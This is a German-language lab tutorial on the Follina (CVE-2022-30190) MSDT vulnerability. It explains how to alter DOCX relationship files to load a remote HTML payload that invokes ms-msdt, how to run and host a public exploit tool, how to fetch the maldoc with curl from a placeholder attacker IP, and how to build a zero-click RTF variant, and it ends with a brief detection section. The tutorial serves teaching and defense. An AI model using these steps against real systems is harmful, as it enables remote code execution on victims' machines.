
# Bildungsexploit für CVE-2022-30190 (Follina) Demonstriert die Remote-Codeausführung über MSDT mittels bösartiger Office-Dokumente, einschließlich Anleitungen zur Erkennung und Eindämmung.
Microsoft erklärt, dass „eine Remote-Codeausführungsschwachstelle vorliegt, wenn MSDT über das URL-Protokoll von einer aufrufenden Anwendung wie Word aufgerufen wird. Ein Angreifer, der diese Schwachstelle erfolgreich ausnutzt, kann beliebigen Code mit den Berechtigungen der aufrufenden Anwendung ausführen. Der Angreifer kann dann Programme installieren, Daten anzeigen, ändern oder löschen oder neue Konten im Rahmen der Benutzerrechte erstellen“. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft gibt an, dass „das Microsoft Support Diagnostic Tool (MSDT) Informationen sammelt, um sie an den Microsoft-Support zu senden. Dieser analysiert die Informationen und verwendet sie, um die Lösung für Probleme zu ermitteln, die auf Ihrem Computer auftreten können“. In diesem Sinne ist es im Wesentlichen eine Möglichkeit für den Microsoft-Support, sofort zu sehen, was nicht stimmt, da alle benötigten Informationen direkt von der Quelle stammen.
Erklärung des Exploits
Beginnen wir mit einem Haftungsausschluss: Für unsere Zwecke laden wir unsere Payload über ein Word-Dokument, insbesondere im .docx-Format – dies ist der ursprüngliche Exploit, der in freier Wildbahn entdeckt wurde. Es hat sich jedoch gezeigt, dass diese Schwachstelle auch in einer Reihe anderer Office-Produkte funktioniert.
Zwei wichtige Aspekte dieser Schwachstelle sind: 1 - Bestimmte DOCX-Dateien enthalten OLE-Objektverweise (OLE steht ursprünglich für Object Linking and Embedding), die manchmal die Form von extern gehosteten HTML-Dateien annehmen. 2 - MS-MSDT ermöglicht die Codeausführung.
Kombiniert man diese beiden Aspekte, kann ein MS-MSDT-HTML-Schema verwendet werden, um PowerShell-Code auszuführen, und eine DOCX-Datei kann verwendet werden, um ihn über die externe Verweisfunktion von Word zu laden.
Genauer gesagt: In der DOCX-Struktur enthält die Datei „word/_rels/document.xml.rels“ ein XML-Tag <Relationship> mit einem Attribut Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", das einen externen oleObject-Verweis beschreibt. Um diese DOCX-Funktion auszunutzen, können wir den Inhalt dieses Tags so bearbeiten, dass er stattdessen auf die von uns gehostete Payload zeigt, indem wir den Target-Wert in http://<external_payload_server.com>/<payload.html> und den TargetMode-Wert in "External" ändern.
In der Datei word/document.xml gibt es ein XML-Tag, das mit <o:OLEObject...> beginnt. Dort sollten wir den Type-Wert in "Link" ändern und dann das Schlüssel-Wert-Paar-Attribut UpdateMode="OnCall" hinzufügen.
Die einzige verbleibende Aufgabe besteht darin, die Payload zu hosten, mit der sich die Word-Datei beim Öffnen verbindet und von der sie Anweisungen erhält. Dies geschieht durch Erstellen einer HTML-Datei mit einer ähnlichen Struktur wie der folgenden:
In den obigen Inhalten der HTML-Datei fällt der Befehl ms-msdt:/id PCWDiagnostic /skip force /param auf, zusammen mit den Befehlsoptionen, mit denen Sie den Befehl festlegen können, der auf dem Zielcomputer ausgeführt werden soll. Sie können die Payload dann je nach Zweck beliebig anpassen.
Somit haben wir nun eine Möglichkeit, Remote-Codeausführung zu erreichen, ohne Makros zu verwenden, und wie wir später sehen werden, sogar ohne das schädliche Dokument zu öffnen.
Öffentlich verfügbarer Exploit im Fokus (https://github.com/JohnHammond/msdt-follina)
John Hammond hat ein Tool erstellt, das den Prozess der Erstellung eines schädlichen Dokuments (Maldoc) automatisiert und anschließend die bösartige HTML-Datei hostet, die den schädlichen Befehl enthält. Das Tool ist unter dem obigen Link dokumentiert, und wir werden eine gegabelte (Fork-)Version davon verwenden, um das Konzept des zuvor angesprochenen Exploits besser zu verstehen.
Öffnen Sie ein Terminal, klonen Sie dieses Repository und wechseln Sie in das Verzeichnis, in das das msdt-follina-Repository geklont wurde. root@host:~/Follina-MSDT# python3 follina.py
Wenn Sie den Exploit starten, sollten Sie die Datei bereits hosten, sodass sie bereit ist, an den Zielcomputer „geliefert“ zu werden. Lassen Sie das ursprüngliche Terminal geöffnet, öffnen Sie ein weiteres Terminal und geben Sie den folgenden Befehl ein, um die Dateien auf einem Server zu hosten: root@host:~/Follina-MSDT# python -m http.server 3456
Öffnen Sie auf dem Zielcomputer eine Eingabeaufforderung und geben Sie den folgenden Befehl ein: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Dadurch wird das Maldoc auf unseren Computer heruntergeladen, und kurz darauf sollten Sie die Word-Datei mit dem Namen follina.docx auf dem Desktop sehen können, bereit zur Ausführung. Wenn Sie bereit sind, öffnen Sie die Datei und beobachten Sie, was passiert. Lassen wir das Maldoc und alles, was es gestartet hat, vorerst weiterlaufen.
„Zero-Click“-Implementierung
Um die „Zero-Click“-Implementierung dieser Schwachstelle nachzubilden, gehen wir einfach zur schädlichen Word-Datei, fügen eine nette Nachricht hinzu (völlig optional), speichern sie im Rich-Text-Format (RTF) und schon sind wir bereit. Diese Implementierung setzt voraus, dass sich auf dem Zielcomputer das Vorschaufenster (Preview Pane) in der Ansicht befindet, andernfalls fällt sie auf die ursprüngliche Funktionalität zurück, die beim Öffnen der Datei weiterhin ausgeführt wird.
Öffnen Sie den Datei-Explorer und navigieren Sie zum Desktop-Ordner. Dort sehen Sie die harmlos wirkende Datei, die wir erstellt haben und die angeklickt werden muss. Klicken Sie einmal darauf, achten Sie jedoch darauf, sie nicht tatsächlich zu öffnen, und beobachten Sie, was passiert.
Obwohl die Datei nicht tatsächlich geöffnet wurde, lief der Exploit auf die gleiche Weise wie zuvor in dieser Übung. Dies ist auf zwei wichtige Funktionen zurückzuführen: 1 - Die Funktion des Datei-Explorers, Dateien vor dem Öffnen in der Vorschau anzuzeigen. 2 - Das RTF-Format, das es Dokumentdateien unter anderem ermöglicht, im Datei-Explorer vor dem Öffnen in der Vorschau angezeigt zu werden.
Die Kombination und der Missbrauch dieser beiden Funktionen führt zu einem Angriffsvektor, den wir gerade beobachtet haben.
Erkennung & Eindämmung
Bedrohungssuche:
Der Windows-Computer, den wir zur Untersuchung der Ausnutzung der Schwachstelle verwendet haben, wurde vorkonfiguriert, sodass die Protokollierung für Folgendes aktiviert ist:
Diese Überwachungsmechanismen sind standardmäßig nicht konfiguriert. Daher ist es unbedingt erforderlich, sie in Ihrer eigenen Umgebung zu aktivieren, um die Erkennung verdächtigen Verhaltens zu unterstützen und wertvolle Daten für forensische Prüfer verfügbar zu halten.
Während des vorherigen Prozesses haben wir bei der Ausnutzung der Schwachstelle eine Reihe interessanter Prozesserstellungen identifiziert. Diese Prozesserstellungen werden in den Windows-Sicherheitsprotokollen protokolliert und können mit Ihrem bevorzugten Viewer analysiert oder an einen zentralen Protokollsammler weitergeleitet werden, um verarbeitet und später weiterverwendet zu werden.